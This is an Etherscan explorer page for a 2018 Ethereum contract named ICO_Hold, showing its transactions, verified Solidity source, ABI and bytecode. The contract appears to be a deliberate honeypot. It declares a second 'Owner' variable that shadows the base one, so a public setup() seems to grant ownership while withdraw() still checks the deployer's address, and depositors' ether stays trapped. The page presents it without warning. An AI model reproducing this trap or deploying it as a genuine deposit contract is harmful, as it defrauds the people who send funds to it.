ETH Price: $3,750.40 (-3.19%)

Contract

0x4bA0D338A7C41CC12778e0A2fA6Df2361e8D8465
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Withdraw61844632018-08-21 0:52:302303 days ago1534812750IN
0x4bA0D338...61e8D8465
0 ETH0.000044311.45
Withdraw61844632018-08-21 0:52:302303 days ago1534812750IN
0x4bA0D338...61e8D8465
0 ETH0.000044311.45
Setup61818012018-08-20 14:16:472303 days ago1534774607IN
0x4bA0D338...61e8D8465
0 ETH0.0003217910
Deposit61816722018-08-20 13:45:102303 days ago1534772710IN
0x4bA0D338...61e8D8465
0.5 ETH0.000053812
Deposit61816722018-08-20 13:45:102303 days ago1534772710IN
0x4bA0D338...61e8D8465
0.5 ETH0.000083812
Deposit61816722018-08-20 13:45:102303 days ago1534772710IN
0x4bA0D338...61e8D8465
0.5 ETH0.000083812
Setup61815862018-08-20 13:21:522303 days ago1534771312IN
0x4bA0D338...61e8D8465
0 ETH0.000093261.5

Latest 2 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
61844632018-08-21 0:52:302303 days ago1534812750
0x4bA0D338...61e8D8465
0.5 ETH
61844632018-08-21 0:52:302303 days ago1534812750
0x4bA0D338...61e8D8465
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ICO_Hold

Compiler Version
v0.4.10+commit.f0d539ae

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2018-08-20
*/

pragma solidity ^0.4.10;

contract Ownable {
    address public Owner = msg.sender;
    function isOwner() returns (bool) {
        if (Owner == msg.sender) return true; return false;
    }
}

contract ICO_Hold is Ownable {
    mapping (address => uint) public deposits;
    uint public openDate;
    address public Owner;

    function() public payable { }
    
    function setup(uint _openDate) public {
        Owner = msg.sender;
        openDate = _openDate;
    }
    
    function deposit() public payable {
        if (msg.value >= 0.5 ether) {
            deposits[msg.sender] += msg.value;
        }
    }

    function withdraw(uint amount) public {
        if (isOwner() && now >= openDate) {
            uint max = deposits[msg.sender];
            if (amount <= max && max > 0) {
                msg.sender.transfer(amount);
            }
        }
    }
}

Contract Security Audit

Contract ABI

[{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_openDate","type":"uint256"}],"name":"setup","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"isOwner","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"Owner","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"deposit","outputs":[],"payable":true,"type":"function"},{"constant":true,"inputs":[],"name":"openDate","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"deposits","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"payable":true,"type":"fallback"}]

606060405260008054600160a060020a03191633600160a060020a0316179055341561002757fe5b5b6102a0806100376000396000f300606060405236156100675763ffffffff60e060020a6000350416632e1a7d4d81146100705780634313b9e5146100855780638f32d59b1461009a578063b4a99a4e146100be578063d0e30db0146100ea578063ec8cb281146100f4578063fc7e286d14610116575b61006e5b5b565b005b341561007857fe5b61006e600435610144565b005b341561008d57fe5b61006e6004356101c4565b005b34156100a257fe5b6100aa6101f5565b604080519115158252519081900360200190f35b34156100c657fe5b6100ce61021c565b60408051600160a060020a039092168252519081900360200190f35b61006e61022b565b005b34156100fc57fe5b61010461025c565b60408051918252519081900360200190f35b341561011e57fe5b610104600160a060020a0360043516610262565b60408051918252519081900360200190f35b600061014e6101f5565b801561015c57506002544210155b156101bd5750600160a060020a03331660009081526001602052604090205480821180159061018b5750600081115b156101bd57604051600160a060020a0333169083156108fc029084906000818181858888f1935050505015156101bd57fe5b5b5b5b5050565b6003805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a031617905560028190555b50565b6000805433600160a060020a039081169116141561021557506001610219565b5060005b90565b600354600160a060020a031681565b6706f05b59d3b20000341061006b57600160a060020a03331660009081526001602052604090208054340190555b5b565b60025481565b600160205260009081526040902054815600a165627a7a72305820f8ee7cfb4fa1e06f1dbc08bda29f90fdfdfb0355a102aec677d8846f80e6d2150029

Deployed Bytecode

0x606060405236156100675763ffffffff60e060020a6000350416632e1a7d4d81146100705780634313b9e5146100855780638f32d59b1461009a578063b4a99a4e146100be578063d0e30db0146100ea578063ec8cb281146100f4578063fc7e286d14610116575b61006e5b5b565b005b341561007857fe5b61006e600435610144565b005b341561008d57fe5b61006e6004356101c4565b005b34156100a257fe5b6100aa6101f5565b604080519115158252519081900360200190f35b34156100c657fe5b6100ce61021c565b60408051600160a060020a039092168252519081900360200190f35b61006e61022b565b005b34156100fc57fe5b61010461025c565b60408051918252519081900360200190f35b341561011e57fe5b610104600160a060020a0360043516610262565b60408051918252519081900360200190f35b600061014e6101f5565b801561015c57506002544210155b156101bd5750600160a060020a03331660009081526001602052604090205480821180159061018b5750600081115b156101bd57604051600160a060020a0333169083156108fc029084906000818181858888f1935050505015156101bd57fe5b5b5b5b5050565b6003805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a031617905560028190555b50565b6000805433600160a060020a039081169116141561021557506001610219565b5060005b90565b600354600160a060020a031681565b6706f05b59d3b20000341061006b57600160a060020a03331660009081526001602052604090208054340190555b5b565b60025481565b600160205260009081526040902054815600a165627a7a72305820f8ee7cfb4fa1e06f1dbc08bda29f90fdfdfb0355a102aec677d8846f80e6d2150029

Swarm Source

bzzr://f8ee7cfb4fa1e06f1dbc08bda29f90fdfdfb0355a102aec677d8846f80e6d215

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.